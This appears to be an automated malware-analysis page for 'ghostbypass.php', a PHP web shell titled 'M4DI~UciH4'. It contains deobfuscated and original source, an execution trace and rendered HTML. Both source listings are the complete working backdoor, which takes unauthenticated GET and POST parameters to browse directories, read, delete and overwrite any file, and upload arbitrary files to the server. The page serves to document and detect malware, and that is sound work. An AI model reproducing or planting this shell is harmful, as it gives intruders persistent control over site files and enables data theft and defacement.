ghostbypass.php

md5: 4498c550ee262cec42d3b00843102b74

Jump to:
Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Environment
error_reporting (Deobfuscated, Original, Traces)
getcwd (Deobfuscated, Original, Traces)

Files
file_get_contents (Deobfuscated, Original)
move_uploaded_file (Deobfuscated, Original)

Input
_FILES (Deobfuscated, Original)
_GET (Deobfuscated, Original)
_POST (Deobfuscated, Original)

Title
M4DI~UciH4 (Deobfuscated, HTML, Original)

URLs
https://fonts.googleapis.com/css2?family=Courgette& (HTML)
https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap (Deobfuscated, Original)

Deobfuscated PHP code
<?php

error_reporting(0);
?>
<!DOCTYPE html>
<html>
<head>
	<title>M4DI~UciH4</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> 
</head>
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style>
<body>
	<center><h1>M4DI~UciH4</h1></center>
  <div class="dir">
	<?php 
if (isset($_GET['dir'])) {
    $dir = $_GET['dir'];
} else {
    $dir = getcwd();
}
$dir = str_replace("\\", "/", $dir);
$dirs = explode("/", $dir);
foreach ($dirs as $key => $value) {
    if ($value == "" && $key == 0) {
        echo "<a href=\"/\">/</a>";
        continue;
    }
    echo "<a href=\"?dir=";
    for ($i = 0; $i <= $key; $i++) {
        echo "{$dirs[$i]}";
        if ($key !== $i) {
            echo "/";
        }
    }
    echo '">' . $value . '</a>/';
}
if (isset($_POST['submit'])) {
    $namafile = $_FILES['upload']['name'];
    $tempatfile = $_FILES['upload']['tmp_name'];
    $tempat = $_GET['dir'];
    $error = $_FILES['upload']['error'];
    $ukuranfile = $_FILES['upload']['size'];
    move_uploaded_file($tempatfile, $dir . '/' . $namafile);
    echo "\n\t\t\t\t\t<script>alert('diupload!!!');</script>\n\t\t\t\t\t";
}
?>

	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
		
	</form>

  </div>
<table>
	<tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	<?php 
$scan = scandir($dir);
foreach ($scan as $directory) {
    if (!is_dir($dir . '/' . $directory) || $directory == '.' || $directory == '..') {
        continue;
    }
    echo '
	<tr>
	<td><a href="?dir=' . $dir . '/' . $directory . '">' . $directory . '</a></td>
	<td>--</td>
	<td>NONE</td>
	</tr>
	';
}
foreach ($scan as $file) {
    if (!is_file($dir . '/' . $file)) {
        continue;
    }
    $jumlah = filesize($dir . '/' . $file) / 1024;
    $jumlah = round($jumlah, 3);
    if ($jumlah >= 1024) {
        $jumlah = round($jumlah / 1024, 2) . 'MB';
    } else {
        $jumlah .= 'KB';
    }
    echo '
	<tr>
	<td><a href="?dir=' . $dir . '&open=' . $dir . '/' . $file . '">' . $file . '</a></td>
	<td>' . $jumlah . '</td>
	<td><a href="?dir=' . $dir . '&delete=' . $dir . '/' . $file . '" class="button1">Hapus</a>
	<a href="?dir=' . $dir . '&ubah=' . $dir . '/' . $file . '" class="button1">Edit</a>
	</td>
	</tr>
	';
}
if (isset($_GET['open'])) {
    echo '
	<br />
	<style>
		table {
			display: none;
		}
	</style>
	<textarea>' . htmlspecialchars(file_get_contents($_GET['open'])) . '</textarea>
	';
}
if (isset($_GET['delete'])) {
    if (unlink($_GET['delete'])) {
        echo "<script>alert('dihapus');window.location='?dir=" . $dir . "';</script>";
    }
}
if (isset($_GET['ubah'])) {
    echo '

		<style>
			table {
				display: none;
			}
		</style>

		<a href="?dir=' . $dir . '" class="button1"><=Back</a>
		<form method="post" action="">
		<input type="hidden" name="object" value="' . $_GET['ubah'] . '">
		<textarea name="edit">' . htmlspecialchars(file_get_contents($_GET['ubah'])) . '</textarea>
		<center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
		</form>

		';
}
if (isset($_POST['edit'])) {
    $data = fopen($_POST["object"], 'w');
    if (fwrite($data, $_POST['edit'])) {
        echo '
			<script>alert("Berhasil diedit!!!");window.location="?dir=' . $dir . '";</script>						
			';
    } else {
        echo "\n\t\t\t<script>alert('gagal');</script>\t\t\t\t\t\n\t\t\t";
    }
}
?>
</table>
</body>
</html>
Execution traces
data/traces/4498c550ee262cec42d3b00843102b74_trace-1676254857.9336.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:21:23.831396]
1	0	1	0.000188	393576
1	3	0	0.000353	416168	{main}	1		/var/www/html/uploads/ghostbypass.php	0	0
2	4	0	0.000371	416168	error_reporting	0		/var/www/html/uploads/ghostbypass.php	1	1	0
2	4	1	0.000387	416208
2	4	R			22527
2	5	0	0.000416	416168	getcwd	0		/var/www/html/uploads/ghostbypass.php	124	0
2	5	1	0.000431	416216
2	5	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/ghostbypass.php	124	$dir = '/var/www/html/uploads'
2	6	0	0.000464	416216	str_replace	0		/var/www/html/uploads/ghostbypass.php	127	3	'\\'	'/'	'/var/www/html/uploads'
2	6	1	0.000480	416312
2	6	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/ghostbypass.php	127	$dir = '/var/www/html/uploads'
2	7	0	0.000536	416216	explode	0		/var/www/html/uploads/ghostbypass.php	128	2	'/'	'/var/www/html/uploads'
2	7	1	0.000552	416792
2	7	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/ghostbypass.php	128	$dirs = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/ghostbypass.php	130	$key = 0
1		A						/var/www/html/uploads/ghostbypass.php	130	$key = 1
1		A						/var/www/html/uploads/ghostbypass.php	135	$i = 0
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	130	$key = 2
1		A						/var/www/html/uploads/ghostbypass.php	135	$i = 0
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	130	$key = 3
1		A						/var/www/html/uploads/ghostbypass.php	135	$i = 0
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	130	$key = 4
1		A						/var/www/html/uploads/ghostbypass.php	135	$i = 0
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
1		A						/var/www/html/uploads/ghostbypass.php	135	$i++
2	8	0	0.000783	416720	scandir	0		/var/www/html/uploads/ghostbypass.php	171	1	'/var/www/html/uploads'
2	8	1	0.000817	417344
2	8	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ghostbypass.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/ghostbypass.php	171	$scan = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ghostbypass.php', 5 => 'prepend.php']
2	9	0	0.000855	417360	is_dir	0		/var/www/html/uploads/ghostbypass.php	174	1	'/var/www/html/uploads/.'
2	9	1	0.000872	417424
2	9	R			TRUE
2	10	0	0.000885	417392	is_dir	0		/var/www/html/uploads/ghostbypass.php	174	1	'/var/www/html/uploads/..'
2	10	1	0.000900	417440
2	10	R			TRUE
2	11	0	0.000913	417400	is_dir	0		/var/www/html/uploads/ghostbypass.php	174	1	'/var/www/html/uploads/.htaccess'
2	11	1	0.000928	417440
2	11	R			FALSE
2	12	0	0.000941	417400	is_dir	0		/var/www/html/uploads/ghostbypass.php	174	1	'/var/www/html/uploads/data'
2	12	1	0.000956	417440
2	12	R			TRUE
2	13	0	0.000970	417408	is_dir	0		/var/www/html/uploads/ghostbypass.php	174	1	'/var/www/html/uploads/ghostbypass.php'
2	13	1	0.000985	417456
2	13	R			FALSE
2	14	0	0.000998	417416	is_dir	0		/var/www/html/uploads/ghostbypass.php	174	1	'/var/www/html/uploads/prepend.php'
2	14	1	0.001014	417456
2	14	R			FALSE
2	15	0	0.001027	417400	is_file	0		/var/www/html/uploads/ghostbypass.php	185	1	'/var/www/html/uploads/.'
2	15	1	0.001042	417424
2	15	R			FALSE
2	16	0	0.001055	417392	is_file	0		/var/www/html/uploads/ghostbypass.php	185	1	'/var/www/html/uploads/..'
2	16	1	0.001070	417440
2	16	R			FALSE
2	17	0	0.001082	417400	is_file	0		/var/www/html/uploads/ghostbypass.php	185	1	'/var/www/html/uploads/.htaccess'
2	17	1	0.001097	417440
2	17	R			TRUE
2	18	0	0.001110	417400	filesize	0		/var/www/html/uploads/ghostbypass.php	187	1	'/var/www/html/uploads/.htaccess'
2	18	1	0.001129	417440
2	18	R			64
1		A						/var/www/html/uploads/ghostbypass.php	187	$jumlah = 0.0625
2	19	0	0.001154	417344	round	0		/var/www/html/uploads/ghostbypass.php	188	2	0.0625	3
2	19	1	0.001168	417416
2	19	R			0.063
1		A						/var/www/html/uploads/ghostbypass.php	188	$jumlah = 0.063
1		A						/var/www/html/uploads/ghostbypass.php	192	$jumlah = '0.063KB'
2	20	0	0.001205	417432	is_file	0		/var/www/html/uploads/ghostbypass.php	185	1	'/var/www/html/uploads/data'
2	20	1	0.001220	417472
2	20	R			FALSE
2	21	0	0.001233	417440	is_file	0		/var/www/html/uploads/ghostbypass.php	185	1	'/var/www/html/uploads/ghostbypass.php'
2	21	1	0.001248	417488
2	21	R			TRUE
2	22	0	0.001260	417448	filesize	0		/var/www/html/uploads/ghostbypass.php	187	1	'/var/www/html/uploads/ghostbypass.php'
2	22	1	0.001273	417488
2	22	R			5280
1		A						/var/www/html/uploads/ghostbypass.php	187	$jumlah = 5.15625
2	23	0	0.001296	417352	round	0		/var/www/html/uploads/ghostbypass.php	188	2	5.15625	3
2	23	1	0.001309	417424
2	23	R			5.156
1		A						/var/www/html/uploads/ghostbypass.php	188	$jumlah = 5.156
1		A						/var/www/html/uploads/ghostbypass.php	192	$jumlah = '5.156KB'
2	24	0	0.001345	417448	is_file	0		/var/www/html/uploads/ghostbypass.php	185	1	'/var/www/html/uploads/prepend.php'
2	24	1	0.001360	417488
2	24	R			TRUE
2	25	0	0.001372	417448	filesize	0		/var/www/html/uploads/ghostbypass.php	187	1	'/var/www/html/uploads/prepend.php'
2	25	1	0.001385	417488
2	25	R			57
1		A						/var/www/html/uploads/ghostbypass.php	187	$jumlah = 0.0556640625
2	26	0	0.001408	417352	round	0		/var/www/html/uploads/ghostbypass.php	188	2	0.0556640625	3
2	26	1	0.001422	417424
2	26	R			0.056
1		A						/var/www/html/uploads/ghostbypass.php	188	$jumlah = 0.056
1		A						/var/www/html/uploads/ghostbypass.php	192	$jumlah = '0.056KB'
1	3	1	0.001458	417384
			0.001489	315736
TRACE END   [2023-02-13 00:21:23.832733]

Generated HTML code
<html><head>
	<title>M4DI~UciH4</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&amp;family=Cuprum:ital@1&amp;family=Rowdies&amp;display=swap" rel="stylesheet"> 
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style></head>

<body>
	<center><h1>M4DI~UciH4</h1></center>
  <div class="dir">
	<a href="/">/</a><a href="?dir=/var">var</a>/<a href="?dir=/var/www">www</a>/<a href="?dir=/var/www/html">html</a>/
	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
		
	</form>

  </div>
<table>
	<tbody><tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	
	<tr>
	<td><a href="?dir=/var/www/html&amp;open=/var/www/html/beneri.se_malware_analysis">beneri.se_malware_analysis</a></td>
	<td>0KB</td>
	<td><a href="?dir=/var/www/html&amp;delete=/var/www/html/beneri.se_malware_analysis" class="button1">Hapus</a>
	<a href="?dir=/var/www/html&amp;ubah=/var/www/html/beneri.se_malware_analysis" class="button1">Edit</a>
	</td>
	</tr>
	
	<tr>
	<td><a href="?dir=/var/www/html&amp;open=/var/www/html/ghostbypass.php">ghostbypass.php</a></td>
	<td>5.156KB</td>
	<td><a href="?dir=/var/www/html&amp;delete=/var/www/html/ghostbypass.php" class="button1">Hapus</a>
	<a href="?dir=/var/www/html&amp;ubah=/var/www/html/ghostbypass.php" class="button1">Edit</a>
	</td>
	</tr>
	</tbody></table>


</body></html>
Original PHP code
<?php error_reporting(0); ?>
<!DOCTYPE html>
<html>
<head>
	<title>M4DI~UciH4</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> 
</head>
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style>
<body>
	<center><h1>M4DI~UciH4</h1></center>
  <div class="dir">
	<?php  
	if (isset($_GET['dir'])) {
			$dir = $_GET['dir'];
		} else {
			$dir = getcwd();
		}

		$dir = str_replace("\\", "/", $dir);
		$dirs = explode("/", $dir);

		foreach ($dirs as $key => $value) {
			if ($value == "" && $key == 0){
				echo '<a href="/">/</a>'; continue;
			} echo '<a href="?dir=';

			for ($i=0; $i <= $key ; $i++) { 
				echo "$dirs[$i]"; if ($key !== $i) echo "/";
			} echo '">'.$value.'</a>/';
	}
	if (isset($_POST['submit'])){

		$namafile = $_FILES['upload']['name'];
		$tempatfile = $_FILES['upload']['tmp_name'];
		$tempat = $_GET['dir'];
		$error = $_FILES['upload']['error'];
		$ukuranfile = $_FILES['upload']['size'];

		move_uploaded_file($tempatfile, $dir.'/'.$namafile);
				echo "
					<script>alert('diupload!!!');</script>
					";
						

	
	}
	?>

	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
		
	</form>

  </div>
<table>
	<tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	<?php
	$scan = scandir($dir);

foreach ($scan as $directory) {
	if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;

	echo '
	<tr>
	<td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td>
	<td>--</td>
	<td>NONE</td>
	</tr>
	';
	} 
foreach ($scan as $file) {
	if (!is_file($dir.'/'.$file)) continue;

	$jumlah = filesize($dir.'/'.$file)/1024;
	$jumlah = round($jumlah, 3);
	if ($jumlah >= 1024) {
		$jumlah = round($jumlah/1024, 2).'MB';
	} else {
		$jumlah = $jumlah .'KB';
	}

	echo '
	<tr>
	<td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td>
	<td>'.$jumlah.'</td>
	<td><a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a>
	<a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a>
	</td>
	</tr>
	';
}
if (isset($_GET['open'])) {
	echo '
	<br />
	<style>
		table {
			display: none;
		}
	</style>
	<textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea>
	';
}

if (isset($_GET['delete'])) {
	if (unlink($_GET['delete'])) {
		echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>";
	}
}
if (isset($_GET['ubah'])) {
	echo '

		<style>
			table {
				display: none;
			}
		</style>

		<a href="?dir='.$dir.'" class="button1"><=Back</a>
		<form method="post" action="">
		<input type="hidden" name="object" value="'.$_GET['ubah'].'">
		<textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea>
		<center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
		</form>

		';
}
if (isset($_POST['edit'])) {
	$data = fopen($_POST["object"], 'w');
	if (fwrite($data, $_POST['edit'])) {

		echo 
			'
			<script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script>						
			';

	} else {
		echo "
			<script>alert('gagal');</script>					
			";
	}
}
?>
</table>
</body>
</html>
PHP Malware Analysis

ghostbypass.php

md5: 4498c550ee262cec42d3b00843102b74

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
